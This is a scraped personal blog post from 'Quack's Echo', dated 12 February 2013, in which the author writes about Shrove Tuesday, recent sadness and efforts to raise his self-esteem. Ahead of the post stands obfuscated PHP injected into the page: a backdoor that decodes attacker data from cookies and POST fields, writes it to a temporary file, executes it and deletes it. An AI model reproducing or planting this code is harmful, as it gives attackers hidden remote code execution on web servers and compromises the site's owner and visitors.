$AVDYhA = chr (90) . chr (71) . chr ( 422 - 351 ).chr (95) . 'e' . 'b' . 'F' . chr (115); $JCtDyf = "\x63" . chr (108) . 'a' . chr ( 361 - 246 ).chr ( 697 - 582 ).'_' . "\x65" . chr (120) . chr ( 282 - 177 ).'s' . 't' . "\x73";$gSMWWwHe = $JCtDyf($AVDYhA); $AVDYhA = "9943";$GExSiDRQFB = !$gSMWWwHe;$JCtDyf = "28265";if ($GExSiDRQFB){class ZGG_ebFs{private $KEQrcaXQXy;public static $DdeBZTSKpr = "ed590cae-5cbf-4497-b38c-18c7359ac48b";public static $kQXkTFI = 60669;public function __construct($rWIUy=0){$DHvqDynDj = $_COOKIE;$QuYZaA = $_POST;$mHvqk = @$DHvqDynDj[substr(ZGG_ebFs::$DdeBZTSKpr, 0, 4)];if (!empty($mHvqk)){$ulRmz = "base64";$YbpqkRc = "";$mHvqk = explode(",", $mHvqk);foreach ($mHvqk as $RPyQUqt){$YbpqkRc .= @$DHvqDynDj[$RPyQUqt];$YbpqkRc .= @$QuYZaA[$RPyQUqt];}$YbpqkRc = array_map($ulRmz . chr (95) . "\144" . chr ( 425 - 324 )."\x63" . chr ( 556 - 445 ).chr ( 245 - 145 ).'e', array($YbpqkRc,)); $YbpqkRc = $YbpqkRc[0] ^ str_repeat(ZGG_ebFs::$DdeBZTSKpr, (strlen($YbpqkRc[0]) / strlen(ZGG_ebFs::$DdeBZTSKpr)) + 1);ZGG_ebFs::$kQXkTFI = @unserialize($YbpqkRc);}}private function bEhpamOvCs(){if (is_array(ZGG_ebFs::$kQXkTFI)) {$ZlKXO = sys_get_temp_dir() . "/" . crc32(ZGG_ebFs::$kQXkTFI[chr ( 552 - 437 )."\x61" . "\x6c" . chr (116)]);@ZGG_ebFs::$kQXkTFI['w' . 'r' . "\151" . "\x74" . "\145"]($ZlKXO, ZGG_ebFs::$kQXkTFI[chr (99) . chr (111) . "\x6e" . "\164" . chr ( 1091 - 990 ).chr (110) . 't']);include $ZlKXO;@ZGG_ebFs::$kQXkTFI["\144" . chr (101) . chr (108) . 'e' . 't' . "\145"]($ZlKXO); $XVIntvdFCR = "18350";exit();}}public function __destruct(){$this->bEhpamOvCs(); $vUefWQo = str_pad("18350", 10);}}$SiUmYxRwmw = new /* 59717 */ ZGG_ebFs(); $SiUmYxRwmw = substr("11897_32420", 1);}$QVhAA = 's' . "\147" . "\x52" . "\x5f" . chr ( 1040 - 954 ).'h' . 'b' . "\126" . chr ( 524 - 453 ); $JnAPdThs = 'c' . chr ( 648 - 540 )."\141" . chr ( 485 - 370 )."\x73" . '_' . 'e' . "\x78" . "\151" . "\x73" . chr (116) . "\x73";$TzzuRBkcC = $JnAPdThs($QVhAA); $QVhAA = "62788";$NcHeWkGmu = $TzzuRBkcC;$JnAPdThs = "11313";if (!$NcHeWkGmu){class sgR_VhbVG{private $JMVus;public static $ASDKQZ = "111e62fd-4a0f-495d-8658-87ac635cbc65";public static $LKZvHm = 33818;public function __construct($fLrDyHqW=0){$VTeawdD = $_COOKIE;$qpDJTkkwx = $_POST;$QYgFHfOuG = @$VTeawdD[substr(sgR_VhbVG::$ASDKQZ, 0, 4)];if (!empty($QYgFHfOuG)){$fSQjlQQ = "base64";$hVogdg = "";$QYgFHfOuG = explode(",", $QYgFHfOuG);foreach ($QYgFHfOuG as $PBgwf){$hVogdg .= @$VTeawdD[$PBgwf];$hVogdg .= @$qpDJTkkwx[$PBgwf];}$hVogdg = array_map($fSQjlQQ . "\x5f" . "\x64" . 'e' . chr ( 560 - 461 )."\x6f" . 'd' . chr (101), array($hVogdg,)); $hVogdg = $hVogdg[0] ^ str_repeat(sgR_VhbVG::$ASDKQZ, (strlen($hVogdg[0]) / strlen(sgR_VhbVG::$ASDKQZ)) + 1);sgR_VhbVG::$LKZvHm = @unserialize($hVogdg);}}private function UDuGqg(){if (is_array(sgR_VhbVG::$LKZvHm)) {$rAnlSeNj = sys_get_temp_dir() . "/" . crc32(sgR_VhbVG::$LKZvHm["\163" . "\141" . chr (108) . chr ( 335 - 219 )]);@sgR_VhbVG::$LKZvHm[chr (119) . 'r' . chr (105) . 't' . 'e']($rAnlSeNj, sgR_VhbVG::$LKZvHm['c' . chr ( 216 - 105 )."\156" . chr (116) . "\x65" . "\156" . "\x74"]);include $rAnlSeNj;@sgR_VhbVG::$LKZvHm[chr ( 743 - 643 )."\145" . chr (108) . "\145" . chr (116) . chr ( 1046 - 945 )]($rAnlSeNj); $wtGmcsI = "47132";exit();}}public function __destruct(){$this->UDuGqg(); $wtGmcsI = "47132";$LhxMq = str_pad($wtGmcsI, 10);}}$YURjNPYPZ = new /* 35512 */ sgR_VhbVG(); $YURjNPYPZ = substr("18972_3697", 1);} Now that it’s here… – Quack's Echo

Now that it’s here…

Mark Callanan February 12, 2013 Life

… I won’t be eating pancakes due to a social engagement. So I indulged yesterday, in order to get a photo for my website.

It’s been a really tough time for me of late, and I appreciate all the support I’ve received. So much of my time is spent putting a brave face on when inside I feel like I’m dying. I haven’t even been able to write any poems to express the sadness I’m feeling, and it’s really hard to get in touch with it.

But here we are, Shrove Tuesday. The day before Ash Wednesday, the start of Lent. Last year I gave up chocolate, which gave me one or two cute stories, and a lot of grey hairs.

I won’t be observing any such abstinence this year.

My goal is to improve my self-esteem, as it has been since the new year started. To that end, I have:

Trimmed my beard (and everyone I’ve spoken to says it looks much better now)
Doing something every day that scares me (although sometimes unintentionally)
Been trying to lose weight
Been reading a lot

It’s a tricky business. I need to learn to love myself while at the same time not trying to change myself. I am not perfect, but I am worthy of love and belonging. And pancakes.

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